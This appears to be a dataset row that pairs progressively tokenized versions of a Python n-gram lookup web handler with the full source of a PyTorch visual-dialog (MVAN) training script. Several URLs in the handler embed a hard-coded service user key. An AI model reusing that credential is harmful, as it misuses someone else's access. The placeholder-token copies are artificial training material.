"<import token>\n<assignment token>\n\n\nclass lexicon0(db.Model):\n <assignment token>\n <assignment token>\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass mainpage(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n if len(self.request.get('m')):\n MONTH = str(self.request.get('m'))\n if len(self.request.get('d')):\n DATASET = str(self.request.get('d'))\n if len(self.request.get('ng')):\n NGRAM = str(self.request.get('ng'))\n if len(self.request.get('pp')):\n PROB = str(self.request.get('pp'))\n REQUESTURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM + '/' + PROB +\n '?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n GENURL = (\n 'http://web-ngram.research.microsoft.com/rest/lookup.svc/' +\n DATASET + '/' + MONTH + '/' + NGRAM +\n '/gen?u=888b8bfe-a203-43c6-a303-ab8e8d47b38e')\n query = str(self.request.get('q'))\n wordlist = query.strip().split()\n dictionary = dict()\n try:\n cquery = combination(wordlist, 0)[0]\n except:\n cquery = query\n try:\n wordlist = query.strip().split()\n squery = spacesplits(wordlist)[0]\n except:\n squery = query\n try:\n dictionary.update(getdictionary(wordlist))\n except:\n dictionary.update({query: 0})\n try:\n if query != cquery:\n dictionary.update(getdictionary(cquery.split()))\n except:\n dictionary.update({cquery: 0})\n try:\n if query != squery:\n dictionary.update(getdictionary(squery.split()))\n except:\n dictionary.update({squery: 0})\n finallist = dictionary.keys()\n self.response.headers['Content-Type'] = 'text/plain'\n try:\n result = getjp('', finallist, '')\n final = list()\n for i in range(len(result)):\n final.append(10 ** result[i][1])\n printresult = normalize(final)\n for i in range(len(printresult)):\n self.response.out.write(str(result[i][0]) + '\\t' +\n printresult[i] + '\\n')\n except:\n self.response.out.write(query + '\\t' + str(1))\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass mainpage(webapp.RequestHandler):\n <function token>\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass maintest(webapp.RequestHandler):\n\n def get(self):\n global MONTH, DATASET, NGRAM, PROB, REQUESTURL, GENURL\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write(REQUESTURL + '\\n')\n self.response.out.write(GENURL)\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n\n\nclass maintest(webapp.RequestHandler):\n <function token>\n\n\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<class token>\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n\n def get(self):\n query = self.request.get('q')\n wordlist = query.split()\n splitted = combination(wordlist, 0)\n self.response.out.write(splitted)\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<class token>\n<function token>\n\n\nclass splittest(webapp.RequestHandler):\n <function token>\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<class token>\n<class token>\n<function token>\n<class token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<function token>\n<code token>\n"
] | false |
9,913 |
4d1900c1a0a8d7639e0ec16fb0128fd8efc2e8a1
|
import os
os.environ["CUDA_VISIBLE_DEVICES"] = "0,1"
import logging
import itertools
import torch
from torch import nn, optim
from torch.optim import lr_scheduler
from torch.utils.data import DataLoader
from torch.utils.tensorboard import SummaryWriter
from tqdm import tqdm
from setproctitle import setproctitle
from bisect import bisect
from datetime import datetime
import numpy as np
from data.dataset import VisDialDataset
from visdial.encoders import Encoder
from visdial.decoders import Decoder
from visdial.model import EncoderDecoderModel
from visdial.utils.checkpointing import CheckpointManager, load_checkpoint
from single_evaluation import Evaluation
class MVAN(object):
def __init__(self, hparams):
self.hparams = hparams
self._logger = logging.getLogger(__name__)
np.random.seed(hparams.random_seed[0])
torch.manual_seed(hparams.random_seed[0])
torch.cuda.manual_seed_all(hparams.random_seed[0])
torch.backends.cudnn.benchmark = False
torch.backends.cudnn.deterministic = True
self.device = (
torch.device("cuda", self.hparams.gpu_ids[0])
if self.hparams.gpu_ids[0] >= 0
else torch.device("cpu")
)
setproctitle(hparams.dataset_version + '_' + hparams.model_name + '_' + str(hparams.random_seed[0]))
# def _build_data_process(self):
def _build_dataloader(self):
# =============================================================================
# SETUP DATASET, DATALOADER
# =============================================================================
old_split = "train" if self.hparams.dataset_version == "0.9" else None
self.train_dataset = VisDialDataset(
self.hparams,
overfit=self.hparams.overfit,
split="train",
old_split = old_split
)
collate_fn = None
if "dan" in self.hparams.img_feature_type:
collate_fn = self.train_dataset.collate_fn
self.train_dataloader = DataLoader(
self.train_dataset,
batch_size=self.hparams.train_batch_size,
num_workers=self.hparams.cpu_workers,
shuffle=True,
drop_last=True,
collate_fn=collate_fn,
)
print("""
# -------------------------------------------------------------------------
# DATALOADER FINISHED
# -------------------------------------------------------------------------
""")
def _build_model(self):
# =============================================================================
# MODEL : Encoder, Decoder
# =============================================================================
print('\t* Building model...')
# Pass vocabulary to construct Embedding layer.
encoder = Encoder(self.hparams, self.train_dataset.vocabulary)
decoder = Decoder(self.hparams, self.train_dataset.vocabulary)
print("Encoder: {}".format(self.hparams.encoder))
print("Decoder: {}".format(self.hparams.decoder))
# New: Initializing word_embed using GloVe
if self.hparams.glove_npy != '':
encoder.word_embed.weight.data = torch.from_numpy(np.load(self.hparams.glove_npy))
print("Loaded glove vectors from {}".format(self.hparams.glove_npy))
# Share word embedding between encoder and decoder.
decoder.word_embed = encoder.word_embed
# Wrap encoder and decoder in a model.
self.model = EncoderDecoderModel(encoder, decoder)
self.model = self.model.to(self.device)
# Use Multi-GPUs
if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:
self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)
# =============================================================================
# CRITERION
# =============================================================================
if "disc" in self.hparams.decoder:
self.criterion = nn.CrossEntropyLoss()
elif "gen" in self.hparams.decoder:
self.criterion = nn.CrossEntropyLoss(ignore_index=self.train_dataset.vocabulary.PAD_INDEX)
# Total Iterations -> for learning rate scheduler
if self.hparams.training_splits == "trainval":
self.iterations = (len(self.train_dataset) + len(self.valid_dataset)) // self.hparams.virtual_batch_size
else:
self.iterations = len(self.train_dataset) // self.hparams.virtual_batch_size
# =============================================================================
# OPTIMIZER, SCHEDULER
# =============================================================================
def lr_lambda_fun(current_iteration: int) -> float:
"""Returns a learning rate multiplier.
Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,
and then gets multiplied by `lr_gamma` every time a milestone is crossed.
"""
current_epoch = float(current_iteration) / self.iterations
if current_epoch <= self.hparams.warmup_epochs:
alpha = current_epoch / float(self.hparams.warmup_epochs)
return self.hparams.warmup_factor * (1.0 - alpha) + alpha
else:
return_val = 1.0
if current_epoch >= self.hparams.lr_milestones[0] and current_epoch < self.hparams.lr_milestones2[0]:
idx = bisect(self.hparams.lr_milestones, current_epoch)
return_val = pow(self.hparams.lr_gamma, idx)
elif current_epoch >= self.hparams.lr_milestones2[0]:
idx = bisect(self.hparams.lr_milestones2, current_epoch)
return_val = self.hparams.lr_gamma * pow(self.hparams.lr_gamma2, idx)
return return_val
if self.hparams.lr_scheduler == "LambdaLR":
self.optimizer = optim.Adam(self.model.parameters(), lr=self.hparams.initial_lr)
self.scheduler = lr_scheduler.LambdaLR(self.optimizer, lr_lambda=lr_lambda_fun)
else:
raise NotImplementedError
print(
"""
# -------------------------------------------------------------------------
# Model Build Finished
# -------------------------------------------------------------------------
"""
)
def _setup_training(self):
if self.hparams.save_dirpath == 'checkpoints/':
self.save_dirpath = os.path.join(self.hparams.root_dir, self.hparams.save_dirpath)
self.summary_writer = SummaryWriter(self.save_dirpath)
self.checkpoint_manager = CheckpointManager(
self.model, self.optimizer, self.save_dirpath, hparams=self.hparams
)
# If loading from checkpoint, adjust start epoch and load parameters.
if self.hparams.load_pthpath == "":
self.start_epoch = 1
else:
# "path/to/checkpoint_xx.pth" -> xx
self.start_epoch = int(self.hparams.load_pthpath.split("_")[-1][:-4])
self.start_epoch += 1
model_state_dict, optimizer_state_dict = load_checkpoint(self.hparams.load_pthpath)
if isinstance(self.model, nn.DataParallel):
self.model.module.load_state_dict(model_state_dict)
else:
self.model.load_state_dict(model_state_dict)
self.optimizer.load_state_dict(optimizer_state_dict)
self.previous_model_path = self.hparams.load_pthpath
print("Loaded model from {}".format(self.hparams.load_pthpath))
print(
"""
# -------------------------------------------------------------------------
# Setup Training Finished
# -------------------------------------------------------------------------
"""
)
def _loss_fn(self, epoch, batch, output):
target = (batch["ans_ind"] if "disc" in self.hparams.decoder else batch["ans_out"])
batch_loss = self.criterion(output.view(-1, output.size(-1)), target.view(-1).to(self.device))
return batch_loss
def train(self):
self._build_dataloader()
self._build_model()
self._setup_training()
# Evaluation Setup
evaluation = Evaluation(self.hparams, model=self.model, split="val")
# Forever increasing counter to keep track of iterations (for tensorboard log).
global_iteration_step = (self.start_epoch - 1) * self.iterations
running_loss = 0.0 # New
train_begin = datetime.utcnow() # New
print(
"""
# -------------------------------------------------------------------------
# Model Train Starts (NEW)
# -------------------------------------------------------------------------
"""
)
for epoch in range(self.start_epoch, self.hparams.num_epochs):
self.model.train()
# -------------------------------------------------------------------------
# ON EPOCH START (combine dataloaders if training on train + val)
# -------------------------------------------------------------------------
combined_dataloader = itertools.chain(self.train_dataloader)
print(f"\nTraining for epoch {epoch}:", "Total Iter:", self.iterations)
tqdm_batch_iterator = tqdm(combined_dataloader)
accumulate_batch = 0 # taesun New
for i, batch in enumerate(tqdm_batch_iterator):
buffer_batch = batch.copy()
for key in batch:
buffer_batch[key] = buffer_batch[key].to(self.device)
output = self.model(buffer_batch)
batch_loss = self._loss_fn(epoch, batch, output)
batch_loss.backward()
accumulate_batch += batch["img_ids"].shape[0]
if self.hparams.virtual_batch_size == accumulate_batch \
or i == (len(self.train_dataset) // self.hparams.train_batch_size): # last batch
self.optimizer.step()
# --------------------------------------------------------------------
# Update running loss and decay learning rates
# --------------------------------------------------------------------
if running_loss > 0.0:
running_loss = 0.95 * running_loss + 0.05 * batch_loss.item()
else:
running_loss = batch_loss.item()
self.optimizer.zero_grad()
accumulate_batch = 0
self.scheduler.step(global_iteration_step)
global_iteration_step += 1
# torch.cuda.empty_cache()
description = "[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]".format(
datetime.utcnow() - train_begin,
epoch,
global_iteration_step, running_loss,
self.optimizer.param_groups[0]['lr'])
tqdm_batch_iterator.set_description(description)
# tensorboard
if global_iteration_step % self.hparams.tensorboard_step == 0:
description = "[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]".format(
datetime.utcnow() - train_begin,
epoch,
global_iteration_step, running_loss,
self.optimizer.param_groups[0]['lr'],
)
self._logger.info(description)
# tensorboard writing scalar
self.summary_writer.add_scalar(
"train/loss", batch_loss, global_iteration_step
)
self.summary_writer.add_scalar(
"train/lr", self.optimizer.param_groups[0]["lr"], global_iteration_step
)
# -------------------------------------------------------------------------
# ON EPOCH END (checkpointing and validation)
# -------------------------------------------------------------------------
self.checkpoint_manager.step(epoch)
self.previous_model_path = os.path.join(self.checkpoint_manager.ckpt_dirpath, "checkpoint_%d.pth" % (epoch))
self._logger.info(self.previous_model_path)
if epoch < self.hparams.num_epochs - 1 and self.hparams.dataset_version == '0.9':
continue
torch.cuda.empty_cache()
evaluation.run_evaluate(self.previous_model_path, global_iteration_step, self.summary_writer,
os.path.join(self.checkpoint_manager.ckpt_dirpath, "ranks_%d_valid.json" % epoch))
torch.cuda.empty_cache()
return self.previous_model_path
|
[
"import os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0,1\"\nimport logging\nimport itertools\n\nimport torch\nfrom torch import nn, optim\nfrom torch.optim import lr_scheduler\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom tqdm import tqdm\nfrom setproctitle import setproctitle\nfrom bisect import bisect\n\nfrom datetime import datetime\nimport numpy as np\n\nfrom data.dataset import VisDialDataset\nfrom visdial.encoders import Encoder\nfrom visdial.decoders import Decoder\nfrom visdial.model import EncoderDecoderModel\nfrom visdial.utils.checkpointing import CheckpointManager, load_checkpoint\n\nfrom single_evaluation import Evaluation\n\nclass MVAN(object):\n def __init__(self, hparams):\n self.hparams = hparams\n self._logger = logging.getLogger(__name__)\n\n np.random.seed(hparams.random_seed[0])\n torch.manual_seed(hparams.random_seed[0])\n torch.cuda.manual_seed_all(hparams.random_seed[0])\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n\n self.device = (\n torch.device(\"cuda\", self.hparams.gpu_ids[0])\n if self.hparams.gpu_ids[0] >= 0\n else torch.device(\"cpu\")\n )\n setproctitle(hparams.dataset_version + '_' + hparams.model_name + '_' + str(hparams.random_seed[0]))\n\n # def _build_data_process(self):\n def _build_dataloader(self):\n # =============================================================================\n # SETUP DATASET, DATALOADER\n # =============================================================================\n old_split = \"train\" if self.hparams.dataset_version == \"0.9\" else None\n self.train_dataset = VisDialDataset(\n self.hparams,\n overfit=self.hparams.overfit,\n split=\"train\",\n old_split = old_split\n )\n\n collate_fn = None\n if \"dan\" in self.hparams.img_feature_type:\n collate_fn = self.train_dataset.collate_fn\n\n self.train_dataloader = DataLoader(\n self.train_dataset,\n batch_size=self.hparams.train_batch_size,\n num_workers=self.hparams.cpu_workers,\n shuffle=True,\n drop_last=True,\n collate_fn=collate_fn,\n )\n\n print(\"\"\"\n # -------------------------------------------------------------------------\n # DATALOADER FINISHED\n # -------------------------------------------------------------------------\n \"\"\")\n\n def _build_model(self):\n\n # =============================================================================\n # MODEL : Encoder, Decoder\n # =============================================================================\n\n print('\\t* Building model...')\n # Pass vocabulary to construct Embedding layer.\n encoder = Encoder(self.hparams, self.train_dataset.vocabulary)\n decoder = Decoder(self.hparams, self.train_dataset.vocabulary)\n\n print(\"Encoder: {}\".format(self.hparams.encoder))\n print(\"Decoder: {}\".format(self.hparams.decoder))\n\n # New: Initializing word_embed using GloVe\n if self.hparams.glove_npy != '':\n encoder.word_embed.weight.data = torch.from_numpy(np.load(self.hparams.glove_npy))\n print(\"Loaded glove vectors from {}\".format(self.hparams.glove_npy))\n # Share word embedding between encoder and decoder.\n decoder.word_embed = encoder.word_embed\n\n # Wrap encoder and decoder in a model.\n self.model = EncoderDecoderModel(encoder, decoder)\n self.model = self.model.to(self.device)\n # Use Multi-GPUs\n if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:\n self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)\n\n # =============================================================================\n # CRITERION\n # =============================================================================\n if \"disc\" in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss()\n\n elif \"gen\" in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss(ignore_index=self.train_dataset.vocabulary.PAD_INDEX)\n\n # Total Iterations -> for learning rate scheduler\n if self.hparams.training_splits == \"trainval\":\n self.iterations = (len(self.train_dataset) + len(self.valid_dataset)) // self.hparams.virtual_batch_size\n else:\n self.iterations = len(self.train_dataset) // self.hparams.virtual_batch_size\n\n # =============================================================================\n # OPTIMIZER, SCHEDULER\n # =============================================================================\n\n def lr_lambda_fun(current_iteration: int) -> float:\n \"\"\"Returns a learning rate multiplier.\n\n Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,\n and then gets multiplied by `lr_gamma` every time a milestone is crossed.\n \"\"\"\n current_epoch = float(current_iteration) / self.iterations\n if current_epoch <= self.hparams.warmup_epochs:\n alpha = current_epoch / float(self.hparams.warmup_epochs)\n return self.hparams.warmup_factor * (1.0 - alpha) + alpha\n else:\n return_val = 1.0\n if current_epoch >= self.hparams.lr_milestones[0] and current_epoch < self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones, current_epoch)\n return_val = pow(self.hparams.lr_gamma, idx)\n elif current_epoch >= self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones2, current_epoch)\n return_val = self.hparams.lr_gamma * pow(self.hparams.lr_gamma2, idx)\n return return_val\n\n if self.hparams.lr_scheduler == \"LambdaLR\":\n self.optimizer = optim.Adam(self.model.parameters(), lr=self.hparams.initial_lr)\n self.scheduler = lr_scheduler.LambdaLR(self.optimizer, lr_lambda=lr_lambda_fun)\n else:\n raise NotImplementedError\n\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Build Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(\n self.model, self.optimizer, self.save_dirpath, hparams=self.hparams\n )\n\n # If loading from checkpoint, adjust start epoch and load parameters.\n if self.hparams.load_pthpath == \"\":\n self.start_epoch = 1\n else:\n # \"path/to/checkpoint_xx.pth\" -> xx\n self.start_epoch = int(self.hparams.load_pthpath.split(\"_\")[-1][:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print(\"Loaded model from {}\".format(self.hparams.load_pthpath))\n\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = (batch[\"ans_ind\"] if \"disc\" in self.hparams.decoder else batch[\"ans_out\"])\n batch_loss = self.criterion(output.view(-1, output.size(-1)), target.view(-1).to(self.device))\n\n return batch_loss\n\n def train(self):\n\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n\n # Evaluation Setup\n evaluation = Evaluation(self.hparams, model=self.model, split=\"val\")\n\n # Forever increasing counter to keep track of iterations (for tensorboard log).\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n\n running_loss = 0.0 # New\n train_begin = datetime.utcnow() # New\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n # -------------------------------------------------------------------------\n # ON EPOCH START (combine dataloaders if training on train + val)\n # -------------------------------------------------------------------------\n combined_dataloader = itertools.chain(self.train_dataloader)\n\n print(f\"\\nTraining for epoch {epoch}:\", \"Total Iter:\", self.iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0 # taesun New\n\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n\n accumulate_batch += batch[\"img_ids\"].shape[0]\n if self.hparams.virtual_batch_size == accumulate_batch \\\n or i == (len(self.train_dataset) // self.hparams.train_batch_size): # last batch\n\n self.optimizer.step()\n\n # --------------------------------------------------------------------\n # Update running loss and decay learning rates\n # --------------------------------------------------------------------\n if running_loss > 0.0:\n running_loss = 0.95 * running_loss + 0.05 * batch_loss.item()\n else:\n running_loss = batch_loss.item()\n\n self.optimizer.zero_grad()\n accumulate_batch = 0\n\n self.scheduler.step(global_iteration_step)\n\n global_iteration_step += 1\n # torch.cuda.empty_cache()\n description = \"[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]\".format(\n datetime.utcnow() - train_begin,\n epoch,\n global_iteration_step, running_loss,\n self.optimizer.param_groups[0]['lr'])\n tqdm_batch_iterator.set_description(description)\n\n # tensorboard\n if global_iteration_step % self.hparams.tensorboard_step == 0:\n description = \"[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]\".format(\n datetime.utcnow() - train_begin,\n epoch,\n global_iteration_step, running_loss,\n self.optimizer.param_groups[0]['lr'],\n )\n self._logger.info(description)\n # tensorboard writing scalar\n self.summary_writer.add_scalar(\n \"train/loss\", batch_loss, global_iteration_step\n )\n self.summary_writer.add_scalar(\n \"train/lr\", self.optimizer.param_groups[0][\"lr\"], global_iteration_step\n )\n\n # -------------------------------------------------------------------------\n # ON EPOCH END (checkpointing and validation)\n # -------------------------------------------------------------------------\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager.ckpt_dirpath, \"checkpoint_%d.pth\" % (epoch))\n self._logger.info(self.previous_model_path)\n\n if epoch < self.hparams.num_epochs - 1 and self.hparams.dataset_version == '0.9':\n continue\n\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path, global_iteration_step, self.summary_writer,\n os.path.join(self.checkpoint_manager.ckpt_dirpath, \"ranks_%d_valid.json\" % epoch))\n torch.cuda.empty_cache()\n\n return self.previous_model_path",
"import os\nos.environ['CUDA_VISIBLE_DEVICES'] = '0,1'\nimport logging\nimport itertools\nimport torch\nfrom torch import nn, optim\nfrom torch.optim import lr_scheduler\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\nfrom tqdm import tqdm\nfrom setproctitle import setproctitle\nfrom bisect import bisect\nfrom datetime import datetime\nimport numpy as np\nfrom data.dataset import VisDialDataset\nfrom visdial.encoders import Encoder\nfrom visdial.decoders import Decoder\nfrom visdial.model import EncoderDecoderModel\nfrom visdial.utils.checkpointing import CheckpointManager, load_checkpoint\nfrom single_evaluation import Evaluation\n\n\nclass MVAN(object):\n\n def __init__(self, hparams):\n self.hparams = hparams\n self._logger = logging.getLogger(__name__)\n np.random.seed(hparams.random_seed[0])\n torch.manual_seed(hparams.random_seed[0])\n torch.cuda.manual_seed_all(hparams.random_seed[0])\n torch.backends.cudnn.benchmark = False\n torch.backends.cudnn.deterministic = True\n self.device = torch.device('cuda', self.hparams.gpu_ids[0]\n ) if self.hparams.gpu_ids[0] >= 0 else torch.device('cpu')\n setproctitle(hparams.dataset_version + '_' + hparams.model_name +\n '_' + str(hparams.random_seed[0]))\n\n def _build_dataloader(self):\n old_split = 'train' if self.hparams.dataset_version == '0.9' else None\n self.train_dataset = VisDialDataset(self.hparams, overfit=self.\n hparams.overfit, split='train', old_split=old_split)\n collate_fn = None\n if 'dan' in self.hparams.img_feature_type:\n collate_fn = self.train_dataset.collate_fn\n self.train_dataloader = DataLoader(self.train_dataset, batch_size=\n self.hparams.train_batch_size, num_workers=self.hparams.\n cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn)\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # DATALOADER FINISHED\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _build_model(self):\n print('\\t* Building model...')\n encoder = Encoder(self.hparams, self.train_dataset.vocabulary)\n decoder = Decoder(self.hparams, self.train_dataset.vocabulary)\n print('Encoder: {}'.format(self.hparams.encoder))\n print('Decoder: {}'.format(self.hparams.decoder))\n if self.hparams.glove_npy != '':\n encoder.word_embed.weight.data = torch.from_numpy(np.load(self.\n hparams.glove_npy))\n print('Loaded glove vectors from {}'.format(self.hparams.glove_npy)\n )\n decoder.word_embed = encoder.word_embed\n self.model = EncoderDecoderModel(encoder, decoder)\n self.model = self.model.to(self.device)\n if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1:\n self.model = nn.DataParallel(self.model, self.hparams.gpu_ids)\n if 'disc' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss()\n elif 'gen' in self.hparams.decoder:\n self.criterion = nn.CrossEntropyLoss(ignore_index=self.\n train_dataset.vocabulary.PAD_INDEX)\n if self.hparams.training_splits == 'trainval':\n self.iterations = (len(self.train_dataset) + len(self.\n valid_dataset)) // self.hparams.virtual_batch_size\n else:\n self.iterations = len(self.train_dataset\n ) // self.hparams.virtual_batch_size\n\n def lr_lambda_fun(current_iteration: int) ->float:\n \"\"\"Returns a learning rate multiplier.\n\n Till `warmup_epochs`, learning rate linearly increases to `initial_lr`,\n and then gets multiplied by `lr_gamma` every time a milestone is crossed.\n \"\"\"\n current_epoch = float(current_iteration) / self.iterations\n if current_epoch <= self.hparams.warmup_epochs:\n alpha = current_epoch / float(self.hparams.warmup_epochs)\n return self.hparams.warmup_factor * (1.0 - alpha) + alpha\n else:\n return_val = 1.0\n if current_epoch >= self.hparams.lr_milestones[0\n ] and current_epoch < self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones, current_epoch)\n return_val = pow(self.hparams.lr_gamma, idx)\n elif current_epoch >= self.hparams.lr_milestones2[0]:\n idx = bisect(self.hparams.lr_milestones2, current_epoch)\n return_val = self.hparams.lr_gamma * pow(self.hparams.\n lr_gamma2, idx)\n return return_val\n if self.hparams.lr_scheduler == 'LambdaLR':\n self.optimizer = optim.Adam(self.model.parameters(), lr=self.\n hparams.initial_lr)\n self.scheduler = lr_scheduler.LambdaLR(self.optimizer,\n lr_lambda=lr_lambda_fun)\n else:\n raise NotImplementedError\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Build Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 